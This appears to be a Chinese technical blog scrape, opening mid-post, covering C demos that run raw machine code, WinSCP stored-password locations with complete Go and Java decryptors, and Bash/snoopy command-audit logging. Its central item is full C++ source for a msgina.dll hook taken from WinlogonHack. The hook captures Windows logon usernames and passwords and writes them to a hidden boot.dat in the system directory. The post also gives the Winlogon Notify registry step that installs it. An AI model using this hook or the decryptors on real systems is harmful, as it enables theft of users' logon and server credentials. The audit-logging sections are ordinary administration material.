        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
} 

关于Winscp 密码获取解密

发布时间:June 2, 2015 // 分类:工作日志,代码学习,VC/C/C++,windows // No Comments

WINSCP默认保存用户密码在注册表中的如下位置

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

但是WIN7\8下WinSCP默认路径在:
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统) - 专注网络安全2 p% t+ \* j$ r- a
C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)

记忆中最早的就是这个

https://bitbucket.org/knarf/winscppwd/overview/ s, u+ I+ P0 n3 m: [

有源码提供下载,还有编译好的程序可供下载使用

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

还有就是一个GO语言的
https://github.com/anoopengineer/winscppasswd/blob/master/main.go
package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

const (
    PW_MAGIC = 0xA3
    PW_FLAG  = 0xFF
)

func main() {
    args := os.Args[1:]
    if len(args) != 3 {
        fmt.Println("WinSCP stored password finder")
        fmt.Println("Open regedit and navigate to [HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions] to get the hostname, username and encrypted password\n")
        if runtime.GOOS == "windows" {
            fmt.Println("Usage winscppasswd.exe <host> <username> <encrypted_password>")
        } else {
            fmt.Printf("Usage ./winscppasswd <host> <username> <encrypted_password>")
        }
        return
    }
    fmt.Println(decrypt(args[0], args[1], args[2]))
}

func decrypt(host, username, password string) string {
    key := username + host
    passbytes := []byte{}
    for i := 0; i < len(password); i++ {
        val, _ := strconv.ParseInt(string(password[i]), 16, 8)
        passbytes = append(passbytes, byte(val))
    }
    var flag byte
    flag, passbytes = dec_next_char(passbytes)
    var length byte = 0
    if flag == PW_FLAG {
        _, passbytes = dec_next_char(passbytes)

        length, passbytes = dec_next_char(passbytes)
    } else {
        length = flag
    }
    toBeDeleted, passbytes := dec_next_char(passbytes)
    passbytes = passbytes[toBeDeleted*2:]

    clearpass := ""
    var (
        i   byte
        val byte
    )
    for i = 0; i < length; i++ {
        val, passbytes = dec_next_char(passbytes)
        clearpass += string(val)
    }

    if flag == PW_FLAG {
        clearpass = clearpass[len(key):]
    }
    return clearpass
}

func dec_next_char(passbytes []byte) (byte, []byte) {
    if len(passbytes) <= 0 {
        return 0, passbytes
    }
    a := passbytes[0]
    b := passbytes[1]
    passbytes = passbytes[2:]
    return ^(((a << 4) + b) ^ PW_MAGIC) & 0xff, passbytes
}
 
 
附加一个java的
https://github.com/YuriMB/WinSCP-Password-Recovery/blob/master/src/main/java/Main.java
import java.util.ArrayList;
import java.util.List;

/**
 * Created by Yuri Meiburg on 30-4-2015.
 */
public class Main {

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_FLAG 0xFF
     */
    public static final int PWALG_SIMPLE_FLAG = 0xFF;

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_MAGIC 0xA3
     */
    public static final char PWALG_SIMPLE_MAGIC = 0xA3;

    public static List<Character> fPassword = new ArrayList<Character>();
    public static String hostname, username;

    public static void main(String [] args){
        if (args.length != 3) {
            System.exit(0);
        }

        hostname = args[0];
        username = args[1];

        for( int i=0; i< args[2].length(); ++i){
            fPassword.add((char) Integer.parseInt(""+args[2].charAt(i),16));
        }

        System.out.println("username = " + username);
        System.out.println("hostname = " + hostname);
        System.out.println("getPassword() = " + getPassword());
    }


    /**
     * UnicodeString __fastcall TSessionData::GetPassword() const
     {
     return DecryptPassword(FPassword, UserName+HostName);
     }
     */
    static String getPassword(){
        return decryptPassword(fPassword, username + hostname);
    }

    /**
     * UnicodeString DecryptPassword(RawByteString Password, UnicodeString UnicodeKey, Integer)
     * {
     *    UTF8String Key = UnicodeKey;
     *    UTF8String Result("");
     *    Integer Index;
     *    unsigned char Length, Flag;
     *
     *    Flag = simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *      simpleDecryptNextChar(Password);
     *      Length = simpleDecryptNextChar(Password);
     *    }
     *    else Length = Flag;
     *    Password.Delete(1, ((Integer)simpleDecryptNextChar(Password))*2);
     *    for (Index = 0; Index < Length; Index++)
     *        Result += (char)simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *        if (Result.SubString(1, Key.Length()) != Key) Result = "";
     *        else Result.Delete(1, Key.Length());
     *    }
     *    return UnicodeString(Result);
     *}
     */
    static String decryptPassword(List<Character> password, String unicodeKey){
        System.out.println("unicodeKey = " + unicodeKey);
        String key = unicodeKey;
        String result = "";
        char length, flag;

        flag = simpleDecryptNextChar(password);
        System.out.println("flag = " + (int) flag);
        if(flag == PWALG_SIMPLE_FLAG){
            /* Dummy = */ simpleDecryptNextChar(password);
            length = simpleDecryptNextChar(password);
        }
        else length = flag;

        System.out.println("length = " + (int) length);

        int newStart = ((int)simpleDecryptNextChar(password)*2);
        System.out.println("newStart = " + newStart + ", password.size() = " + password.size());
        removeItems(password, 0, newStart);

        for(int index=0; index < length; ++index)
            result += simpleDecryptNextChar(password);

        System.out.println("result = " + result);
        if(flag == PWALG_SIMPLE_FLAG)
        {
            if (!result.substring(0, key.length()).equals(key)) result = "";
            else result = result.substring(key.length());
        }

        return result;
    }


    /**
     * unsigned char simpleDecryptNextChar(RawByteString &Str)
     {
     if (Str.Length() > 0)
     {
     unsigned char Result = (unsigned char)
     ~((((PWALG_SIMPLE_STRING.Pos(Str.c_str()[0])-1) << 4) +
     ((PWALG_SIMPLE_STRING.Pos(Str.c_str()[1])-1) << 0)) ^ PWALG_SIMPLE_MAGIC);
     Str.Delete(1, 2);
     return Result;
     }
     else return 0x00;
     }
     * @param str
     * @return
     */
    static public char simpleDecryptNextChar(List<Character> str){
        if(str.size() > 0){
            char result = unsignedChar(
                        ~(
                            (
                                    unsignedChar(str.get(0) << 4) + str.get(1) // Remove bitshift overflow bits.
                            ) ^ PWALG_SIMPLE_MAGIC
                        )
                    );

            removeItems(str, 0, 2);
            return result;
        }
        else return 0x00;
    }

    /**
     * Cut off anything over 255.
     * @param v
     * @return
     */
    static char unsignedChar(int v){
        return (char) (v & 0xFF);
    }

    /**
     * Remove items from list
     */
    static void removeItems(List lst, int start, int end){
        for(int i=0; i<end-start; ++i){
            lst.remove(start);
        }
    }
}

关于hook自带的msgina.dll截取系统密码

发布时间:May 5, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

Windows的开机密码认证模块一般是由Gina DLL完成的。在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。

1.Gina原理
WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。
WinLogon初始化时会创建3个桌面:
(1) winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2) 应用程序桌面:我们平时见到的那个有我的电脑的界面
(3) 屏幕保护桌面:屏幕保护显示界面。
在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。
2.Gina DLL导出函数
在NT/2000 中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。GINA DLL要输出下列函数(Winlogon会调用):
(1) WlxActivateUserShell:激活用户外壳程序。
(2) WlxDisplayLockedNotice:允许GINA DLL显示锁定信息。
(3) WlxDisplaySASNotice:当没有用户登陆时,Winlogon调用此函数。
(4) WlxDisplayStatusMessage:Winlogon用一个状态信息调用此函数进行显示。
(5) WlxGetStatusMessage:Winlogon 调用此函数获取当前状态信息。
(6) WlxInitialize:针对指定的窗口位置进行GINA DLL初始化。
(7) WlxIsLockOk:验证工作站正常锁定。
(8) WlxIslogoffOk:验证注销正常。
(9) WlxLoggedOnSAS:用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数。
(10) WlxLoggedOutSAS:没有用户登陆,如果此时收到SAS事件,则Winlogon调用此函数。
(11) WlxLogoff:请求注销操作时通知GINA DLL。
(12) WlxNegotiate:表示当前的Winlogon版本是否能使用GINA DLL。
(13) WlxNetworkProviderLoad:在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数。
(14) WlxRemoveStatusMessage:Winlogon调用此函数告诉GINA DLL停止显示状态信息。
(15) WlxScreensaverNotify:允许GINA与屏幕保护操作交互。
(16) WlxShutdown:在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡。
(17) WlxStartApplication:当系统需要在用户的上下文中启动应用程序时调用此函数。
(18) WlxWkstaLockedSAS:当工作站被锁定,如果接收到一个SAS,则Winlogon调用此函数。
我们通过对上述的18个基本函数进行重写,来实现USB身份认证系统的Windows登录身份认证。

关于msgina.dll可以查看百科的介绍http://baike.baidu.com/view/662342.htm

关于截取的原理就是:系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有PWLX_MPR_NOTIFY_INFO结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。

实现的过程就是:

生成dll文件,并把这个文件复制到系统目录。并把文件加入到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wminotify里面。不用重启, 当有3389登上时,自动加载DLL,并且记录登录密码! 保存为boot.dat文件.

来自WinlogonHack,并且附上自己解读的源码:

// Hookmsgina.cpp : Defines the entry point for the DLL application.
/*
系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有
PWLX_MPR_NOTIFY_INFO 
结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了
*/

#include "stdafx.h"
#include <tchar.h>
//宏定义
#define WLX_SAS_ACTION_LOGON  (1)

//WLX_MPR_NOTIFY_INFO结构
typedef struct _WLX_MPR_NOTIFY_INFO {   
    PWSTR           pszUserName;    
    PWSTR           pszDomain;  
    PWSTR           pszPassword;    
    PWSTR           pszOldPassword;
} WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;

//函数原形
// GINA DLLs are ignored in Windows Vista
typedef int (WINAPI* WlxLoggedOutSAS)(
                                      PVOID                   pWlxContext, // pointer to GINA context
                                      DWORD                   dwSasType,   // Indicates that a user has typed the standard CTRL+ALT+DEL SAS.....
                                      PLUID                   pAuthenticationId,
                                      PSID                    pLogonSid,
                                      PDWORD                  pdwOptions,
                                      PHANDLE                 phToken,
                                      PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                      PVOID *                 pProfile
);


DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter);

//自定义接管的API函数,形参保持一致  
int   WINAPI FunNewWlxLoggedOutSAS( PVOID  pWlxContext,DWORD dwSasType,PLUID pAuthenticationId,PSID  pLogonSid,
                                PDWORD                  pdwOptions,
                                PHANDLE                 phToken,
                                PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                PVOID *                 pProfile);
void WriteLog(  PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo);  // WLX_MPR_NOTIFY_INFOv
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);
void WriteCurrentTime(HANDLE hfile);
void HookWlxLoggedOutSAS();
void UnHookWlxLoggedOutSAS();

//定义字节对齐方式
#pragma pack(1)
  
struct HookTable{
    HMODULE         hMsgina;
    WlxLoggedOutSAS OldWlxLoggedOutSAS; // --->原始WlxLoggedOutSAS函数入口 -----> 修改前的WlxLoggedOutSAS函数指针
    WlxLoggedOutSAS NewWlxLoggedOutSAS; // --->自定义的函数
    unsigned char   OldCode[6];     /* mov edi,edi      \x8B\xFF
                                       push ebp         \x55
                                       mov ebp,esp      \x8B\xEC
                                    */
    unsigned char   JmpCode[6];     /* 
                                        \xE9\x00\x00\x00\x00
                                    */
};
//全局hook表
HookTable hooktable = {  
                        0 ,
                        0 ,                       // 初始化 OldWlxLoggedOutSAS为0
                        &FunNewWlxLoggedOutSAS ,  // 设置新的WlxLoggedOutSAS指针
                        "\x8B\xFF\x55\x8B\xEC" ,
                        "\xE9\x00\x00\x00\x00"   // 跳转到接下来的一条指令 "\xE9\x00\x00\x00\x00",
                        };
/*
------------------------------------
XP,2003系统中msgina.dll的入口点如下:
\x8B\xFF       mov  edi,edi
\x55           push ebp
\x8B\xEC       mov  ebp,esp


2000系统中msgina.dll的入口如下:
\x8B\xCO       mov  eax,eax
\x55           push ebp
\x8B\xEC       mov  ebp,esp


GINA DLLS are ignored in Windows Wista
------------------------------------
*/
#pragma pack()


BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
/************************************************************************/  
/* 函数说明:DLL的主函数                                             */  
/* 参数:                                                              */  
/* 返回值:                                                             */  
/************************************************************************/                       
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
         HANDLE hthread = CreateThread( 0 , 
             0 , 
             LPTHREAD_START_ROUTINE(StartHookWlxLoggedOutSAS) , 
             0 , 
             0 , 
             0);
         CloseHandle( hthread );
        break;  // 此处如果不从DLL返回到系统进程空间,将导致故障
    }
    return TRUE;
}



DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter)
/************************************************************************/  
/* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数    */  
/* 参数:无                                                             */  
/* 返回值:0表示成功                                                    */  
/************************************************************************/  
{
    //得到msgina.dll  
    //hooktable.hMsgina  
    hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));
    if ( hooktable.hMsgina == NULL)
    {
        return 0 ;
    }
    //得到WlxLoggedOutSAS
    hooktable.OldWlxLoggedOutSAS = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );
    ////得到原始函数地址,等下撤销HOOK会用到 
    if (hooktable.OldWlxLoggedOutSAS == NULL)
    {
        return 0 ;
    }
    /*
    WlxLoggedOutSAS函数的入口:
    758D679B >    8BFF          mov     edi, edi
    758D679D   .  55            push    ebp
    758D679E   .  8BEC          mov     ebp, esp
    758D67A0   .  83EC 40       sub     esp, 40
    */    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    // 根据版本选择 msgina.dll WlxLoggedOutSAS入口代码
    for (int i=0 ;  i < 4 ; i++ )   // "\x8B\xFF\x55\x8B\xEC"总计5个字节
    {
        if (p[i] != hooktable.OldCode[i])  
        // 检测获取的WlxLoggedOutSAS入口数据是非与设定的数据相同[设定的是xp,2003版本]
        {
            return 0;
        }
    }
     //----------------重定位新的WlxLoggedOut入口点------------------
    int *OpCode = (int *)&hooktable.JmpCode[1];  // OpCode ---->75--[8D679B]   此处的Jmp[1]=00
    int Code = (int)hooktable.NewWlxLoggedOutSAS - (int)hooktable.OldWlxLoggedOutSAS - 5;
    // OpCode ---->75--[8D679B]   此处的Jmp[1]=00 

    *OpCode = Code;

    /*
    OpCode[0] = (BYTE)(Code & 0xff);
    OpCode[1] = (BYTE)((Code>>8) & 0xff);
    OpCode[2] = (BYTE)((Code>>16) & 0xff);
    OpCode[3] = (BYTE)((Code>>24)& 0xff);
    */

    HookWlxLoggedOutSAS();

    return 0;
}

void HookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                  */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    DWORD OldProtect = NULL;

    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        PAGE_EXECUTE_READWRITE ,
        &OldProtect
        );  //OldProtect返回一个内存属性值

    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ )
    {
        p[i] = hooktable.JmpCode[i];  //现在JmpCode相当于E9 00 00 00 00   JmpCode[i]
    }

    VirtualProtect( hooktable.OldWlxLoggedOutSAS , 
        5 ,
        OldProtect ,
        &OldProtect 
        ); //将内存属性还原.

    return;
}

void UnHookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                   */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/
{
    DWORD OldProtect = NULL;
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 , 
        PAGE_EXECUTE_READWRITE ,
        &OldProtect );
    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ ) // hook后将入口改回去
    {
        p[i] = hooktable.OldCode[i]; //hooktable[1]
    }
    
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        OldProtect ,
        &OldProtect );
    
    return;
}

void WriteLog(PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo)
/************************************************************************/  
/* 函数说明:将得到的用户名和密码信息写入文件中                       */  
/* 参数:pNprNotifyInfo 包含用户名和密码的结构体                        */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    int size_u = lstrlenW( pNprNotifyInfo->pszUserName );
    size_u += lstrlenW( pNprNotifyInfo->pszDomain );
    size_u += lstrlenW( pNprNotifyInfo->pszPassword );
    size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );
    
    unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    char *pBuffer = (char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    
    ZeroMemory( pWBuffer  , size_u + 1024 );
    ZeroMemory( pBuffer  , size_u + 1024 ); // pWBuffer ------> pBuffer
    
    if ( !pBuffer )
    {
        return;
    }else
    {   //写进记录 八卦下,这里似乎也是可以调用socket来远程发送
        wsprintfW( pWBuffer ,
            L"\r\nUser    = %s \r\nDomain  = %s \r\nPass    = %s \r\nOldPass = %s\r\n\r\n" ,
            pNprNotifyInfo->pszUserName , //账号
            pNprNotifyInfo->pszDomain ,   //当前的组或域
            pNprNotifyInfo->pszPassword , //密码
            pNprNotifyInfo->pszOldPassword //旧密码
            );
        
        WideToByte( pBuffer ,
            pWBuffer ,
            lstrlenW( pWBuffer )
            );
    }
    char LogPath[MAX_PATH] = {0};
    GetSystemDirectory( LogPath , MAX_PATH); // 密码文件
    lstrcat( LogPath , "\\boot.dat"); //写进boot.dat里面
    HANDLE hfile = CreateFile(
        LogPath , 
        GENERIC_WRITE , 
        FILE_SHARE_WRITE ,
        0 ,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL ,
        0  );
    if (hfile != INVALID_HANDLE_VALUE)
    {
        unsigned long ret;
        SetFilePointer( hfile , -1 ,  0 , FILE_END);
        
        WriteCurrentTime( hfile );
        WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 );
        
        CloseHandle( hfile );
    }else
    {
        GetLastError();
    }
    
    GlobalFree( pWBuffer );
    GlobalFree( pBuffer  );
    return; // 返回到原线程
}
//记录SAS事件的事件
void WriteCurrentTime(HANDLE hfile)
{
    SYSTEMTIME st;
    DWORD ret = 0;
    
    GetLocalTime(&st);
    char buffer[200] ={0};
    wsprintf( buffer , "\r\n%d/%d/%d/%d:%d:%d" ,
        st.wYear ,
        st.wMonth ,
        st.wDay ,
        st.wHour ,
        st.wMinute,
        st.wSecond 
        );
    WriteFile( hfile , buffer , lstrlen( buffer ) ,  &ret , 0 );
}

int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)
{
    //MessageBox(0,"WideToByte","---",MB_OK);
    return WideCharToMultiByte( CP_ACP ,
        WC_COMPOSITECHECK ,
        sz_source ,
        -1 ,
        sz_target ,
        size_ansi ,
        0 ,
        0 );
}
//================================================Hook后,预调用的函数=============================
//自定义WlxLoggedOutSAS函数,用于替换原函数,所以参数表与原函数完全一致
int WINAPI FunNewWlxLoggedOutSAS(
                 PVOID                   pWlxContext,
                 DWORD                   dwSasType,
                 PLUID                   pAuthenticationId,
                 PSID                    pLogonSid,
                 PDWORD                  pdwOptions,
                 PHANDLE                 phToken,
                 PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                 PVOID *                 pProfile
)
{
    UnHookWlxLoggedOutSAS();
    //hooktable.OldWlxLoggedOutSAS即为原WlxLoggedOutSAS函数
    int i = hooktable.OldWlxLoggedOutSAS(pWlxContext  ,
                                        dwSasType , 
                                        pAuthenticationId ,
                                        pLogonSid ,
                                        pdwOptions ,
                                        phToken ,
                                        pNprNotifyInfo,
                                        pProfile
                                        );
    if (i = WLX_SAS_ACTION_LOGON )
    {

        //MessageBoxW( 0 , pNprNotifyInfo->pszUserName , pNprNotifyInfo->pszPassword , MB_OK);
        
        WriteLog( pNprNotifyInfo );
    }
    return i;
}

extern "C" __declspec(dllexport) void __stdcall EventStartup(DWORD Parameter) // extern "C" --C不能小写
{
    //MessageBox( 0 , "开机了" , "通知你" , MB_OK );
    return;
}

extern "C" __declspec(dllexport) void __stdcall EventLogon(DWORD Parameter)
{
    //MessageBox( 0 , "登录了" , "通知你" , MB_OK );
    return;
}

 

通过syslog远程发送bash 命令日志

发布时间:May 1, 2015 // 分类:工作日志,运维工作,VC/C/C++,linux,转帖文章 // No Comments

实现bash bash history日志通过syslog远程发送的方式很多,主要有以下3种:

1、在/etc/bashrc全局配置文件添加

2、修改bash源码

3、加载内核模块

1,2方法只是记录与history类似的命令执行日志,无法记录通过程序或者脚本执行命令。3方法一般通过拦截系统调用exec实现,可以记录所 有通过exec系统调用的命令执行情况,但是无法记录bash 内嵌命令的执行。另外在内核进行修改,需要考虑稳定性以及性能影响问题,测试时间较长。

1、在/etc/bashrc全局配置文件添加

//记录命令日志到用户目录下的.history-timestamp目录

export PROMPT_COMMAND='{ msg=$(history 1 | { read x y; echo $y; });user=$(whoami); echo $(date "+%Y-%m-%d %H:%M:%S"):$user:$msg:$(
who am i); } >> $HOME/.history-timestamp'
//记录命令日志到syslog
export PROMPT_COMMAND='{ msg=$(history 1 | { read x y; echo $y; });user=$(whoami); logger $(date "+%Y-%m-%d %H:%M:%S"):$user:$msg:$(who am i); }'

2、修改bash源码(lib/下)

    通过给bash加patch也可以实现,网上可以查到的现成的patch都是针对特定bash版本的,如果刚好可以找到所须版本,使用配置会比较方便。

以下以bash-3.0.16为例,说明如何直接修改bash代码实现。(lib/readline/history.c)

   1) 代码修改

     history.c文件中add_history (string)负责完成命令日志记录,因此如果只是想简单的通过syslog远程发送history,在此函数中添加远程日志发送功能即可。下面红色标识代码为添加部分

注:syslog日志记录,当前用户名,登录用户名 终端 命令

/* Place STRING at the end of the history list. The data field
   is set to NULL. */
void
add_history (string)
     const char *string;
{
HIST_ENTRY *temp;
if (strlen(string)<600) {
   syslog(LOG_LOCAL5 | LOG_INFO, "%s %s %s %s",getenv("LOGNAME"),getlogin(),ttyname(0),string);
    }
    else {
      char trunc[600];
      strncpy(trunc,string,sizeof(trunc));
      trunc[sizeof(trunc)-1]='/0';
    syslog(LOG_LOCAL5, LOG_INFO, "%s %s %s %s(++TRUNC)",getenv("LOGNAME"),getlogin(),ttyname(0), trunc);
    }

if (history_stifled && (history_length == history_max_entries))
    {
.............................

自己修改为本地记录的

/* Place STRING at the end of the history list.  The data field
   is  set to NULL. */
void
add_history (string)
     const char *string;
{
  HIST_ENTRY *temp;
  FILE *fp=NULL;
    fp=fopen("/var/cache/.bash","a+");
      if(fp!=NULL){
    fprintf(fp,"%s\n",string);
      fclose(fp);
    }

  if (history_stifled && (history_length == history_max_entries))

2)编译 ./configure --prefix=/usr/local/bash-syslog-3.0.16;make;make install

然后替换掉系统自带的bash,然后测试

然后查看

记录成功~无论是在反弹的bash里面还是交互式的shell里面都记录成功了

3)创建测试帐号 useradd -s =/usr/local/bash-syslog-3.0.16/bin/bash simple

4) 以test帐号远程登录,执行命令,然后su 到root,可在/var/log/message中看到类似日志:

Dec 9 18:58:26 hostname bash: simple liuruihong /dev/pts/0 exit
Dec 9 18:58:30 hostname bash: simple liuruihong /dev/pts/0 crontab -e
Dec 9 18:59:18 hostname bash: simple liuruihong /dev/pts/0 date
Dec 9 18:59:25 hostname bash: simple liuruihong /dev/pts/0 crontab -e
Dec 9 18:59:37 hostname bash: simple liuruihong /dev/pts/0 crontab -e
Dec 9 18:59:45 hostname bash: simple liuruihong /dev/pts/0 date
Dec 9 18:57:18 hostname bash: root simple /dev/pts/2 echo "ssssssss"
Dec 9 18:57:18 hostname bash: root simple /dev/pts/2 echo "llllllllllll"
Dec 9 18:57:18 hostname bash: root simple /dev/pts/2 exit
Dec 9 18:57:18 hostname bash: root simple /dev/pts/2 ls

3、加载内核模块

http://www.securityfocus.com/tools/877

http://www.securityfocus.com/tools/1667

注: script命令也可以

资源:

http://bugs.gentoo.org/attachment.cgi?id=57967&action=edit

 

由于有非常多的linux服务器需要管理,为了审计管理员的操作,以确认各自的职责,需要对linux服务器进行审计,通过比较选择了snoopy这个开源方案。

snoopy可以到 https://github.com/a2o/snoopy下载

下面记录下安装使用的注意事项

在linux 32位系统下,可以按照snoopy自带的README,执行如下命令

./configure

Make

make install

Make enable

这时会在/usr/local/lib目录下创建个snoopy.so,并在/etc/ld.so.preload里加入/usr/local/lib/snoopy.so

在linux 64位系统下需要重点注意,不能完全按照README的来执行,如果直接按照32位的方法来,将会在执行32位程序时报错:

ERROR: ld.so: object '/usr/local/lib/snoopy.so' from /etc/ld.so.preload cannot be preloaded: ignored.

我们需要编译两个版本的snoopy,一个放在/usr/local/lib下,一个放在/usr/local/lib64下

这可以通过修改源码里的Makefile,32位版本的Makefile里修改CFLAGS,在后面添加-m32,意思就是编译32位的程序,执行make&&make install,32位版本的snoopy.so将存放在/usr/local/lib下;

64位版本修改Makefile,LIBDIR=${exec_prefix}/lib64 ,执行make&&make install,64位版本的snoopy.so将存放在/usr/local/lib64下

最后我们在/etc/ld.so.preload加入/usr/local/$LIB/snoopy.so,意思就是自动寻找32位的so文件和64位的so文件

 

这时我们已经可以在本地记录下登录到系统的用户执行的所有命令,但是这还不够,我们需要一个集中日志服务器,这里我们使用syslog-ng,通过这个日志服务器将所有需要审计的服务器的日志同步过来,linux shell审计的任务就此完成。

完善linux bash操作记录审核方法

发布时间:May 1, 2015 // 分类:运维工作,工作日志,VC/C/C++,linux,转帖文章 // No Comments

linux工作的同事一般都了解过bash历史记录的问题,我们之前的做法是通过修改bash源码,把历史记录发送到syslog/var/log/messages这个文件里面,再在syslog配置文件里面加入 *.* @Ip发送到远程日志服务器上面。期间有经历过一些多多少少的bug之类的,比如我们是通过keyroot权限登录服务器的,记录的时候可能一条操作记录同时记录到几个人的key,普通用户记录的问题,特别是最近解决的一个严重bug:不能记录远程ssh执行的命令,比如 ssh ip “pwd” 我们记录不到这个pwd命令!在比较空闲时候通过n多的测试,这些都解决了。我们一步一步说起:

先来几个效果图:

正常情况下登录,然后执行命令是这个效果:

远程ssh过来执行命令时候是这个效果:

中间那个ip是远程过来的ip,在本机执行了pwd这个命令,user值就是我们要得到的

远程scp复制的日志是这个效果:

 

为了bash能记录到操作记录,我们修改源码:

config-top.h文件里面把#define SYSLOG_HISTORY这个宏定义打开,修改bashhist.c里面的内容:

701行左右修改稿bash_syslog_history函数,修改完之后内容:

void
bash_syslog_history (line)
     const char *line;
{
  char trunc[SYSLOG_MAXLEN];
     const char *p; 
     p = getenv("NAME_OF_KEY");
  if (strlen(line) < SYSLOG_MAXLEN)
    syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "HISTORY: PID=%d PPID=%d SID=%d  User=%s USER=%s CMD=%s", getpid(), getppid(), getsid(getpid()),  cu
rrent_user.user_name, p, line);
  else
    {   
      strncpy (trunc, line, SYSLOG_MAXLEN);
      trunc[SYSLOG_MAXLEN - 1] = '\0';
